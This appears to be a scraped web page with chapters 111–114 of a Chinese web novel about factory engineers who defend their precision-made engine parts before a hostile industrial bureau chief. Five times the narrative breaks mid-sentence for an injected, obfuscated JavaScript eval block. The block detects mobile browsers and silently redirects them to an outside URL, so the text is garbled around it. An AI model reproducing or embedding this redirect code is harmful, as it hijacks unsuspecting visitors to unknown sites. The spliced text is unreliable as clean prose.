;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341892|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来,扯着嗓子大吼。 车间里,重新恢复了紧张而有序的忙碌。 而没有人注意到,车间紧闭的大门外,一个负责夜间巡逻的保安,正鬼鬼祟祟地贴着墙根,将里面的动静听了个大概。 他看了一眼手腕上的表,凌晨四点半,随即快步跑向了不远处的电话亭。 王德发的反击,比预想中来得更早。 当时针,终于指向清晨六点。 第一缕金色的阳光,穿透了车间高窗上厚厚的积尘,在弥漫着油雾的空气中,投下了一道道宛如圣光的光柱。 持续了一整夜的轰鸣,终于彻底平息。 十几名老师傅,如同被抽走了骨头一般,或坐或躺地瘫倒在各自的机床边,沉沉地睡了过去。 他们的脸上,挂着油污与汗渍,表情却异常安详。 在他们身旁,那张巨大的检验台上,已经不再空空如也。 一根闪耀着金属光泽的曲轴,静静地躺在那里。 旁边,是四根精密无比的连杆、八个光洁如镜的活塞、一根修复后又重新造出的完美凸轮轴…… 几十个核心零件,虽然数量不多,但每一个,都凝聚着这群匠人毕生的心血与骄傲。 它们在晨光下熠熠生辉,仿佛一枚枚刚刚被擦去尘土的勋章。 江建国站在检验台前,一夜未眠的他,双眼通红。 他伸出颤抖的手,想要触摸那些零件,却又怕自己的粗糙会玷污了它们的神圣。 他看着这些成果,又回头看了看那些东倒西歪、鼾声四起的部下,一股巨大的酸楚与豪情,猛地涌上心头。 路承舟走到他的身边,将自己帆布包里的最后两个肉包子,递了一个过去。 “江总工,吃点东西吧。” 江建国接过包子,却没有吃。 他看着路承舟,声音沙哑地问:“承舟,我们……能赢吗?” 一夜的奋战,换来了这些成果。 可天亮之后,他们要面对的,是王德发背后那座看不见、却沉重如山的权力大山。 路承舟的目光,越过江建国,望向了车间那扇紧闭的大门。 他的眼神,平静而深邃。 “能不能赢,不取决于我们。” 他缓缓说道,“而是取决于,他们要付出多大的代价,才能让我们输。” 话音未落。 “哐当!” 一声巨响,车间那扇沉重的铁门,被人从外面粗暴地踹开。 刺眼的晨光,夹杂着冰冷的空气,瞬间涌了进来。 门口,站着十几道身影。 为首的,正是王德发的头号走狗,办公室主任马恒。 他身后,是厂里的保卫科干事,以及几个穿着干部服的陌生面孔,一个个表情冷峻,眼神不善。 马恒的目光,如同一条毒蛇,扫过狼藉的车间,扫过那些睡得正沉的工人,最后,定格在检验台前、路承舟和江建国的身上。 他的嘴角,勾起一抹残忍而快意的冷笑。 “江建国,路承舟。” 马恒的声音,尖利而冰冷,如同铁锤敲碎玻璃,瞬间撕裂了黎明前的宁静。 “厂党委命令,一车间立刻封锁,所有参与非法生产的人员,全部停职!” “你们两个,跟我们走一趟吧。” “市工业局的领导,要亲自见你们。” 第111章 权力的寒流 黎明时分那缕温暖的曦光,尚未能驱散车间里彻夜奋战留下的寒意,便被门口涌入的冰冷空气彻底吞噬。 马恒的声音尖利而刻薄,像一把生锈的锥子,狠狠刺入这片刚刚获得片刻宁静的阵地。 每一个字,都带着权力的傲慢与冰冷的恶意,在空旷的车间里激起阵阵回响,惊醒了那些沉睡在疲惫深渊中的灵魂。 刚刚还鼾声四起的老师傅们,一个接一个地挣扎着坐起,睡眼惺忪的脸上写满了茫然。 他们还未从极限劳作的虚脱中完全清醒,便被眼前这副剑拔**张的景象钉在原地。 保卫科干事们凶神恶煞的表情,那些干部服们冷漠审视的目光,以及马恒那张小人得志、扭曲而快意的脸,共同构成了一股令人窒息的寒流。 这股寒流,远比深夜的寒风更加刺骨,它直接穿透皮肉,冻结了人们心中刚刚燃起的希望火焰。 江建国的胸膛剧烈地起伏着,一夜未眠带来的疲惫与刚刚目睹成果的激动,瞬间被一股滔天的怒火所取代。 他那双布满血丝的眼睛死死瞪着马恒,干裂的嘴唇哆嗦着,每一个字仿佛都是从牙缝里挤出来的。 “非法生产?停职?” 他怒极反笑,笑声沙哑而悲凉,“马恒!王德发!你们还要不要脸!睁开你们的狗眼看看!看看这些是什么!” 他猛地一挥手,指向检验台上那些在晨光下熠熠生辉的零件。 那根完美的曲轴,那些光洁如镜的活塞,每一个部件都像是一枚无声的军功章,嘲讽着来犯者的无知与卑劣。 “这些,是红星厂的未来!是几十个老师傅豁出命去,一夜不睡拼出来的希望!” 江建国向前踏出一步,瘦弱的身躯此刻却爆发出山一般的气势,“你们凭什么查封?凭什么停我们的职?” “凭什么?” 马恒脸上的冷笑愈发浓重,他从口袋里慢条斯理地掏出一张盖着鲜红印章的文件,在空中抖了抖,发出哗啦的声响。 “就凭这个!厂党委的正式文件!就凭市工业局领导的指示!” 他将“领导”两个字咬得极重,目光中充满了猫戏老鼠般的快感,“江建国,你煽动工人,无视组织纪律,搞破坏性生产。现在,人证物证俱在,你还想狡辩?” 他轻蔑地瞥了一眼检验台上的零件,嗤笑道:“一堆废铜烂铁,也敢叫希望?我看是你们的催命符!” “你放屁!” “跟他们拼了!” 被惊醒的工人们终于反应过来,一个个血气上涌,抄起身边的扳手、铁棍,自发地围了上来,将江建国和路承舟护在身后,与保卫科的人形成了对峙。 空气瞬间紧绷到了极点,一场**,似乎一触即发。 然而,在这片愤怒的海洋中心,风暴眼却异常平静。 路承舟自始至终没有说话。 他只是静静地站在那里,目光平静地看着马恒,看着他身后那些面无表情的局里干部。 他的眼神里没有愤怒,没有恐惧,甚至没有一丝一毫的意外,仿佛眼前的一切,都早已在他的预料之中。 那份超乎寻常的镇定,与周围剑拔**张的气氛形成了无比鲜明的反差,让马恒感到一阵莫名的心悸。 就在江建国准备带着工人们冲上去时,一只手,轻轻地按在了他的肩膀上。 那只手,年轻,稳定,却带着一股不容置疑的力量。 “江总工,别冲动。” 路承舟的声音清朗而沉稳,清晰地传入每个人的耳中,“跟他们动手,我们就输了。” 江建国猛地回头,不解地看着路承舟:“承舟!他们这是要把我们往死里整啊!” “我知道。” 路承舟点了点头,随即,他从人墙的保护中走了出来,独自一人,迎向了马恒那群人。 他背着那个半旧的帆布包,身形在晨光下显得有些单薄,但他的脊梁,却挺得笔直。 “马主任是吧?” 路承舟的嘴角,甚至还噙着一丝淡淡的笑意,“你说,市工业局的领导要见我们?” 马恒被他这副从容不迫的态度搞得一愣,下意识地点了点头:“没错!张局长要亲自审问你们两个主犯!” “好啊。” 路承舟的回答,干脆利落,让所有人都大吃一惊。 他不仅答应了,脸上甚至还流露出一丝期待。 “正好,我们奋斗了一夜,也想向领导汇报一下工作成果。” 路承舟转过身,指了指检验台上那些精密的零件,声音不大,却足以让全场听清,“这些,就是我们的汇报材料。” 他顿了顿,目光重新锁定在马恒脸上,那平静的眼神背后,陡然闪过一丝锐利如刀锋的光芒。 “我们跟你走。但是,这些零件,必须跟我们一起走。” 此言一出,满场皆寂。 无论是愤怒的工人,还是凶狠的保卫科,亦或是那几个城府颇深的局里干部,全都愣住了。 谁也没想到,这个看似最无害的年轻人,会提出这样一个匪夷所思的要求。 这哪里是去接受审问? 这分明是要把战场,从红星厂的车间,直接搬到市工业局的局长办公室! 马恒的脑子一时间没转过弯来,他下意识地就想拒绝:“你算个什么东西!还敢跟我们提条件?” “这不是条件。” 路承舟脸上的笑容消失了,取而代之的是一种绝对的冷静,“这是程序。你们说我们搞非法生产,说这些是废铜烂铁。那么,作为‘证物’,理应由我们这些‘嫌疑人’,亲自呈送给负责审理的领导过目,这合情合理吧?” 他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341893|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向前逼近一步,目光直视着马恒身后那几位一直沉默不语的局里干部。 “还是说,你们害怕?” 路承舟的声音陡然拔高,如同洪钟大吕,在每个人的心头重重一敲。 “你们害怕让局领导亲眼看到这些零件?害怕我们当着领导的面,一件一件地讲解它的工艺,测量它的精度?害怕你们口中的‘废铜烂铁’,会亮得晃瞎某些人的眼睛?” 一连串的质问,字字诛心! 马恒的脸色瞬间变得猪肝一样难看,他被这番话堵得哑口无言。 他只是个狐假虎威的走狗,哪里应付得了这种场面。 那几位局里的干部,脸色也变得有些微妙。 他们交换了一个眼神,其中一个看起来职位最高的,终于走上前来,推开了马恒。 他上下打量了路承舟一番,眼神中带着审视与探究。 “年轻人,你很有胆色。” 他缓缓开口,声音低沉,“好,我答应你。把东西装好,跟我们走一趟吧。” 在他看来,带上几块铁疙瘩,无伤大雅。 到了局里,在张局长的地盘上,再精密的零件,也终究只是零件。 权力的天平,绝不会因为几件技术品而倾斜。 “多谢领导。” 路承舟微微颔首,神色恢复了平静。 他转过身,对着身后那些依旧义愤填膺的工人们,朗声说道:“各位师傅,都把家伙放下。我和江总工只是去局里说明一下情况,很快就回来。” 他的声音里,带着一股安抚人心的力量。 “你们一夜没睡,都辛苦了。现在,回家好好休息。记住,在我们回来之前,任何人,都不准再碰车间里的任何东西。保护好现场,就是对我们最大的支持。” 工人们面面相觑,最终,在江建国一个沉重的点头示意下,他们缓缓放下了手中的工具。 一场即将爆发的激烈冲突,就这样被路承舟用几句话,轻描淡写地化解于无形。 他指挥着几个年轻力壮的工人,找来铺着柔软衬垫的木箱,小心翼翼地,将检验台上的每一件零件,如同稀世珍宝一般,郑重地装了进去。 当最后一个箱子被封好,路承舟和江建国,在十几道冰冷的目光押送下,走向了车间门口那辆黑色的伏尔加轿车。 他们没有被戴上**,也没有被粗暴地推搡。 路承舟走在前面,背着他的帆布包,步履从容。 江建国跟在他身后,腰杆挺得笔直。 他们不像是被押解的犯人。 更像是带着自己最锋利的武器,奔赴一场更高级别战场的士兵。 车门关闭,引擎发动。 黑色的伏尔加,载着红星厂的希望与风暴,绝尘而去,只留下一车间沉默的工人和一地冰冷的晨光。 第112章 证物 黑色的伏尔加轿车,如同一柄划开晨曦的冰冷手术刀,平稳地行驶在城市的动脉上。 车窗外,苏醒的城市正逐渐褪去睡意,自行车流汇成河,沿街的早点铺升腾起滚滚白汽,一切都充满了鲜活的人间烟火气。 车厢内,却是一片与世隔绝的死寂。 江建国端坐在后座,瘦削的身体挺得笔直,仿佛一尊僵硬的雕塑。 他的双手紧紧攥着膝盖,指节因为过度用力而泛出青白色。 一夜未眠的疲惫,被此刻巨大的精神压力彻底压制,他的大脑中反复回响着马恒尖利的声音,以及那些干部们冷漠的眼神。 他知道,这不是一次简单的问话。 这是一场预谋已久的绞杀,而他们正被主动送往屠宰场。 他侧过头,看向身旁的路承舟。 年轻人靠着车窗,目光平静地注视着窗外飞速**的街景。 他的脸上没有愤怒,没有紧张,甚至没有一丝即将面临风暴的凝重。 那份超乎寻常的沉静,仿佛他不是去接受审问的囚徒,而是一个去赴约的闲人。 这份沉静,让江建国焦灼的心,莫名地安定了半分。 “承舟,” 他压低了声音,嗓音沙哑,“我……我怕是连累你了。到了局里,王德发那条线上的张局长,怕是不会给我们好果子吃。” 路承舟的目光从窗外收回,转头看向他,嘴角甚至还带着一丝若有若无的弧度。 “江总工,从我们决定在车间里点燃第一台机床的那个瞬间起,这场仗就已经不是我们想不想打的问题了。” 他的声音很轻,却清晰地穿透了引擎的低鸣,“是他们,逼着我们必须打,而且必须赢。” 他顿了顿,目光扫过前排马恒那隐约可见的、得意的后脑勺。 “至于那位张局长,” 路承舟的眼神深邃了几分,“他想不想吃我们,不重要。重要的是,我们这盘‘菜’,他能不能吃得下,会不会崩了他的牙。” 江建国微微一怔,咀嚼着这句话里蕴含的巨大信息。 车子转过一个街角,一栋灰色的、方方正正的苏式建筑,出现在视野的尽头。 建筑顶端,一颗巨大的红色五角星在晨光下庄严肃穆。 这里,就是市工业局的办公大楼,是这座城市工业体系的权力中枢。 伏尔加没有在大门停留,径直驶入了戒备森严的院内。 车门打开,一股冰冷的空气混杂着官僚机构特有的、陈腐的文件气味扑面而来。 马恒率先下车,脸上那副狐假虎威的笑容愈发张扬。 他回头看了一眼被保卫科干事“请”下车的路承舟和江建国,眼神中的轻蔑与怜悯交织。 “走吧,两位功臣。” 他阴阳怪气地说道,“张局长日理万机,可等不了你们太久。” 几个工人抬着那几口沉重的木箱,跟在队伍后面。 每走一步,都仿佛在为这场审判,敲响沉闷的丧钟。 然而,预想中直接进入局长办公室的场景并未发生。 他们被带到了三楼一条长长的走廊尽头,一名年轻的办事员拦住了他们。 “局长正在接一个重要电话,你们在这里等一下。” 那名办事员说完,便转身走开,将他们晾在了原地。 这是一种无声的下马威。 权力,最擅长用等待来消磨对手的意志,制造心理上的不平等。 马恒显然很享受这个过程,他靠在墙上,好整以暇地看着二人,仿佛在欣赏两只落入陷阱的猎物。 江建国的脸色愈发难看,紧握的拳头里,指甲几乎要嵌进肉里。 路承舟却仿佛毫无所觉。 他走到那几个装着零件的木箱旁,伸手轻轻拍了拍箱盖,发出“笃笃”的声响。 那声音在寂静的走廊里显得格外清晰,像是在确认自己最可靠的盟友,依旧安然无恙。 时间,一分一秒地流逝。 走廊里的空气,仿佛凝固成了铅块,沉甸甸地压在每个人的心头。 不知过了多久,或许是二十分钟,或许是半个小时,走廊另一头的局长办公室大门,终于“咔哒”一声打开了。 “让那两个红星厂的进来。” 一个不耐烦的声音从门内传出。 马恒精神一振,立刻挺直了腰板,对着路承舟和江建国露出了一个狰狞的笑容。 他推开那扇厚重的木门,一股混杂着高级香烟和浓茶的、属于权力的气息,迎面扑来。 办公室宽敞得有些奢侈。 巨大的红木办公桌擦得一尘不染,光可鉴人。 桌上摆着两部不同颜色的电话机,一个巨大的搪瓷烟灰缸,以及一叠叠高耸的文件。 桌子后面,是一张宽大的皮质转椅。 一个身材微胖、梳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341894|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着油亮背头的中年男人,正背对着门口,站在巨大的落地窗前,欣赏着楼下的风景。 他就是市工业局的一把手,张援朝。 他没有回头。 这种刻意的漠视,比任何严厉的斥责都更具压迫感。 路承舟和江建国被带到了办公桌前,如同两个等待宣判的犯人。 马恒则像一条忠实的狗,点头哈腰地站在了门边。 张援朝缓缓地转过身来。 他的目光并没有第一时间落在二人身上,而是先扫了一眼被抬进来的那几口木箱,眉头不易察觉地皱了一下,眼神中闪过一丝厌恶。 随即,他才将视线投向江建国,语气平淡,却带着居高临下的审判意味。 “江建国,我记得你。厂里的老技术员,快退休了吧?” 他的声音不疾不徐,每一个字都敲在人的心上,“老同志,就应该有老同志的觉悟。不在自己的岗位上安安分分,搞这些名堂,煽动工人,对抗组织,你想干什么?想**吗?” 一顶巨大的帽子,就这样轻飘飘地扣了下来。 江建国浑身一颤,血气直冲头顶,正要开口辩解,却被路承舟一个隐蔽的眼神制止了。 张援朝显然很满意自己的气场带来的效果,他将目光转向了路承舟,眼神中的轻蔑更是不加掩饰。 “你,就是那个路承舟?” 他上下打量着这个过分年轻的学徒工,仿佛在看一个不知天高地厚的跳梁小丑,“年纪不大,胆子不小。蛊惑人心,破坏生产,谁给你的权力?谁是你的后台?” 他的声音陡然转厉,如同平地惊雷。 “说!你们把那些昂贵的进口设备,糟蹋成什么样了?今天,你们两个要是不把问题交代清楚,一个也别想走出这个门!” 办公室里的空气,瞬间降到了冰点。 面对这泰山压顶般的质问,路承舟的脸上,却缓缓浮现出一丝笑容。 那笑容,平静,坦然,甚至带着几分期待。 他没有回答任何一个问题,而是向前走了一步,轻轻地、笃定地,敲了敲身前那口最大的木箱。 “张局长。” 他清朗的声音,在压抑的办公室里响起,清晰得如同金石交鸣。 “您说的这些问题,我们等一下再慢慢汇报。” “在汇报之前,我想先请您看一样东西。” “我们的……证物。” 第113章 何为废铁 证物。 这两个字,轻飘飘地从路承舟的口中吐出,却像两颗烧红的钢珠,砸进了办公室这潭死水里,瞬间激起滚烫的、无形的蒸汽。 空气凝固了。 马恒脸上的得意笑容僵住,仿佛一幅拙劣的油画被瞬间冻裂。 他张了张嘴,却发现自己一个字也说不出来。 眼前这个年轻人的平静,像一堵无形的墙,将他所有准备好的讥讽和威吓,都原封不动地反弹了回来。 真正的风暴中心,是那张巨大的红木办公桌后。 张援朝的瞳孔,在听到那两个字时,骤然收缩。 他那张常年身居高位而养成的、不动声色的面具,第一次出现了一丝裂痕。 他预想过对方的反应,或许是痛哭流涕地求饶,或许是声色俱厉地辩解,又或许是吓得语无伦次。 他唯独没有想到,会是这样一种近乎挑衅的平静。 这已经不是在接受审问。 这是在对他的权威,发起一次明目张胆的挑战! 一股怒火,混合着被冒犯的**,从张援朝的心底轰然升起。 他几乎要拍案而起,用最严厉的措辞将这个不知天高地厚的年轻人彻底碾碎。 然而,当他的目光与路承舟那双古井无波的眼睛对上时,那股即将喷发的怒火,却被一种莫名的力量硬生生压了下去。 那双眼睛里,没有丝毫畏惧。 只有一种纯粹的、强大的自信。 张援朝毕竟是久经宦海的人物。 他迅速收敛了外露的情绪,身体向后,重重地靠在宽大的皮质转椅上,发出“吱呀”一声沉闷的呻吟。 他重新摆出了那副居高临下的姿态,嘴角勾起一抹冰冷的、带着几分残忍的弧度。 “好,很好。” 他缓缓点头,声音里听不出喜怒,“我倒是要看看,你们搞出来的‘证物’,究竟是什么惊天动地的东西。” 他对着马恒抬了抬下巴,语气充满了不屑。 “打开,让他展示。” 这是一种恩赐般的许可。 在他看来,这不过是猎物在落入陷阱后,最后一次徒劳而可笑的挣扎。 他决定满足对方,然后,再以绝对的权力,将这份挣扎连同对方的希望,一同踩进泥里。 “是,局长!” 马恒如蒙大赦,立刻来了精神。 他对着那几个抬箱子的工人颐指气使地喝道:“听见没有!打开!手脚麻利点!” 一名工人走到最前面那口最大的木箱旁,用撬棍,“哐”的一声,撬开了箱盖。 所有人的目光,瞬间聚焦于此。 箱子内,厚实的软垫层层包裹,仿佛呵护着什么绝世的珍宝。 当最上层的衬垫被揭开,一抹深沉而内敛的金属光泽,陡然映入了众人的眼帘。 那不是普通钢铁那种粗糙的、灰白的冷光。 那是一种近乎于黑色的、经过无数次精密打磨后,才能呈现出的,如同黑曜石般温润而深邃的光泽。 它静静地躺在那里,复杂的曲拐结构充满了力量感,每一处圆角,每一条轴颈,都流淌着一种无法用言语形容的、属于工业美学极致的韵律。 它就像一件沉睡的艺术品,在被唤醒的瞬间,便释放出足以让周围一切黯然失色的气场。 办公室里,陷入了一片诡异的寂静。 马恒脸上的嘲讽,凝固了。 他虽然不懂技术,但他看得出好坏。 眼前这东西,和他印象中工厂里那些布满油污、粗糙不堪的零件,完全是两个世界的产物。 这东西太漂亮了,漂亮得让他感到一阵心慌。 江建国的呼吸,则在这一刻彻底停滞。 他的双眼死死地盯着那根曲轴,浑浊的眼球里,瞬间被狂喜与激动所充斥。 他亲眼见证了它的诞生,但此刻,在这间代表着权力的办公室里,当它以“证物”的身份重现天日时,那种视觉冲击力与自豪感,比在车间里强烈百倍! 张援朝的眉头,也狠狠地拧了起来。 他同样不懂技术,但他懂气势。 这根零件所散发出的那种精工细作的气场,那种超越了“零件”范畴的“作品”感,让他心中那份笃定的轻蔑,开始出现了一丝动摇。 但他绝不会表现出来。 “哼,一根铁轴,磨得光了些,又能说明什么?” 张援朝冷哼一声,打破了寂静,试图重新夺回话语权,“金玉其外,败絮其中。样子货,谁不会做?” “张局长说得对。” 路承舟的声音,平静地响起,竟然是在附和。 所有人都愣住了。 只见他走到箱子前,从自己那个半旧的帆布包里,不紧不慢地取出了一个木制的小盒子。 他打开盒子,里面静静地躺着一支泛着金属光泽的千分尺。 他没有自己动手,而是将千分尺递到了江建国的面前,语气充满了尊重。 “江总工,您是厂里资格最老的技术权威。这根曲轴的核心指 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16341895|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 标,就由您来当众检验吧。” 这个举动,让江建国浑身一震。 他明白路承舟的用意。 由他这个德高望重的老总工来检验,结果的公信力,将无可辩驳! 江建国深吸一口气,颤抖着,接过了那支冰冷的千分尺。 他的眼神瞬间变得专注而锐利,仿佛回到了自己年轻时,第一次接触精密仪器的那个下午。 他俯下身,小心翼翼地,将千分尺的测砧与测微螺杆,轻轻卡在了曲轴最核心的主轴颈上。 他的动作缓慢而庄重,像是在完成一个神圣的仪式。 办公室里,所有人都屏住了呼吸,只听得见千分尺棘轮发出的,细微而清脆的“咔哒”声。 终于,测量完成。 江建国抬起头,目光扫过张援朝,扫过马恒,最后,落在了路承舟的脸上。 他的声音,因为极度的激动而微微发颤,却又清晰得如同敲钟。 “图纸要求,主轴颈直径公差,正负零点零零五毫米。” 他顿了顿,举起了手中的千分尺,让所有人都看到上面清晰的刻度。 “实测结果……零误差!” 零误差! 这三个字,如同一记无形的重锤,狠狠地砸在了张援朝和马恒的心口上! 马恒的脸色,“唰”的一下,变得惨白。 他听不懂什么叫公差,但他听得懂“零误差”这三个字代表的恐怖分量! 张援朝的身体,猛地向前一倾,双手下意识地撑住了桌面,才稳住身形。 他的脸上,第一次露出了无法掩饰的震惊。 “不可能!” 他几乎是咆哮出声,“这绝对不可能!你们在作假!用一个调校过的尺子来糊弄我?” 权力的傲慢,让他本能地拒绝接受这个足以颠覆他认知的事实。 然而,路承舟似乎早就料到了他会有此反应。 他脸上的表情没有丝毫变化,只是平静地转向了那几个抬箱子的工人。 “麻烦几位师傅,把下一个箱子打开。” 他的声音不大,却带着一种掌控全场的从容与淡定。 “一根曲轴可以是巧合,可以是作假。” 路承舟的目光,缓缓地、再一次落在了张援朝那张因震惊而略显扭曲的脸上,他的嘴角,勾起了一抹让后者感到脊背发凉的弧度。 “那么,一整套发动机的核心零件,如果全都是零误差呢?” “张局长,您觉得,这又算是什么?” 第114章 钢铁的证言 路承舟的声音并不响亮,却仿佛具备某种物理穿透性,轻易地越过了红木办公桌的森严壁垒,精准地击中了张援朝的耳膜。 办公室里死一般的寂静,让那句反问显得格外清晰,也格外刺耳。 一整套发动机的核心零件,如果全都是零误差呢? 这不再是一个技术问题。 这是一个**问题。 张援朝那张因震惊而扭曲的脸,此刻正以肉眼可见的速度恢复着冰冷。 他猛地坐直了身体,皮质转椅发出不堪重负的呻吟。 怒火并未消散,而是被他强行压回了胸腔,在那里沉淀、压缩,最终化作一种更加危险的、淬了毒的冷静。 他死死地盯着路承舟,那眼神仿佛要将这个年轻人从里到外彻底看穿。 他看到了平静,一种近乎傲慢的平静。 “好。” 张援朝从牙缝里挤出一个字,每一个音节都像是冰块在互相摩擦,“我今天就给你这个机会。开!把所有的箱子都给我打开!我倒要看看,你们红星厂一夜之间,是不是就能捅破天!” 他的话语里充满了狠戾,这既是命令,也是赌注。 他将自己的权威,全部押在了这场对峙的牌桌上。 得到指令,那几个不知所措的工人如奉纶音,立刻手忙脚乱地撬开了剩下的木箱。 “哐!哐!哐!” 金属撬棍与木箱盖碰撞的声音,在这间压抑的办公室里,如同审判的钟声被一声声敲响。 第二个箱子里,是四根连杆。 它们并排躺在柔软的衬垫中,I字型的杆身充满了精悍的力量感,两端的大头孔与小头孔,在灯光下反射出均匀柔和的光晕。 它们不像工业品,更像是某种猛兽的胫骨,天生就为传递狂暴的力量而生。 第三个箱子里,是八个活塞。 银白色的铝合金表面光洁如镜,甚至能清晰地倒映出天花板上吊灯的轮廓。 那三道为活塞环预留的凹槽,其边缘锋利如刀,却又平滑得找不出一丝毛刺。 第四个箱子…… 第五个箱子…… 当最后一口箱子被打开,一整套足以构成发动机心脏的精密部件,就这样赤裸裸地、毫无保留地,陈列在了市工业局最高领导的面前。 它们静静地躺在那里,每一件都散发着同样的气息一种对公差的绝对蔑视,一种由极致工艺凝聚而成的、不容置疑的骄傲。 这片由钢铁组成的沉默军阵,让整个办公室的空气都变得粘稠起来。 马恒早已面无人色,冷汗浸透了他那件的确良衬衫的后背,紧紧地贴在皮肤上,冰冷而又黏腻。 他不敢再看那些零件,只是低着头,死死盯着自己那双落满灰尘的皮鞋,仿佛想在地板上钻出一个洞来。 江建国的手,已经不再颤抖。 他站在那堆堪称艺术品的零件前,浑浊的眼中燃烧着前所未有的光芒。 那不是激动,而是一种近乎于信仰的火焰。 他此生从未想过,自己亲手参与制造的东西,能够达到如此令人战栗的完美境地。 他缓缓地,再一次俯下身。 这一次,他没有等路承舟的示意,便主动拿起了千分尺、内径规、百分表…… 一件又一件冰冷的、诚实的测量仪器。 整个过程,变成了一场庄严的独角戏。 “连杆大头孔,圆度公差,零。” “活塞销孔,中心距公差,零。” “活塞裙部,锥度与椭圆度,零。” …… 江建国的声音,不再有丝毫的颤抖。 他每报出一个数据,都像是在宣读一份判决书。 那声音不高,却沉重如山,一字一句地,砸在张援朝的神经上。 到了最后,他的声音里甚至带上了一丝悲怆与豪迈。 “全部……零误差!” 当最后四个字尘埃落定,江建国挺直了那佝偻了一辈子的脊梁。 他将手中的千分尺轻轻放回工具盒,发出“咔”的一声轻响。 这声音,仿佛是为这场单方面的技术凌虐,画上了一个完美的句号。 办公室里,落针可闻。 张援朝靠在椅子上,一动不动。 他的脸色已经从冰冷转为铁青,握着扶手的双手,青筋暴起。 他输了,在技术的层面上,他输得体无完肤,输得毫无悬念。 他引以为傲的权力与气场,在这些冰冷、精确、不会说谎的钢铁面前,被碾压得粉碎。 但他不能认。 认了,就意味着他张援朝是个可以被下属蒙蔽的蠢货。 认了,就意味着他支持的王德发是个压制技术、谎报军情的庸才。 这个后果,他承担不起。 “够了!” 张援朝猛地一拍桌子,巨大的声响让所有人都浑身一颤。 他霍然起身,绕过宽大的办公桌,踱到那堆零件面前。 他没有去看那些零件,而是用一种全新的、审慎而阴冷的目光,重新审视着路承舟。 “好,我承认,你们确实做出了一些……像样的东西。” 他刻意放慢了语速,每一个字都像是在嘴里咀嚼过一遍,“但是,这并不能改变你们行为的性质!无组织!无纪律!煽动工人,彻夜胡闹,置昂贵的国家财产于风险之中!你们这是典型是个人英雄主义在作祟!” 他找到了新的战场。 既然无法在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16349818|183469||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “结果”上否定你,那就在“程序”上置你于死地。 “就算你们侥幸成功了,这种风气也绝不可长!” 张援朝的声音陡然拔高,充满了大义凛然的斥责,“今天你们敢为了一个项目冲击车间,明天是不是就敢为了奖金冲击厂部?后天是不是就敢冲击我们工业局的大楼?” 一顶接一顶的大帽子,被他娴熟地编织出来,然后狠狠扣下。 这番话,让刚刚挺起胸膛的江建国,脸色又一次变得煞白。 他可以辩驳技术,却不知道该如何对抗这种诛心的罪名。 然而,路承舟的脸上,却连一丝波澜都没有。 他只是静静地听着,等到张援朝那番慷慨激昂的陈词告一段落,他才缓缓地、轻声地,提出了一个问题。 一个简单到近乎天真的问题。 “张局长,您说的这些,我都承认。” 他的话,让所有人都愣住了。 路承舟的目光,清澈而坦然,他看着张援朝的眼睛,继续说道:“我们的行为,确实不符合程序。但是,我想请问您一句。如果按照正常的程序,我们把这份‘零误差’的工艺方案,通过申请报告,一级一级地交上来,您觉得,它会出现在您的办公桌上吗?” 张援朝的瞳孔,再一次收缩。 “还是说,” 路承舟的语气依旧平静,却像一把锋利的锥子,刺向了问题的核心,“它会在红星厂的某一张办公桌里,就变成一堆废纸,然后被告知‘技术不成熟’、‘脱离实际’、‘好高骛远’?” 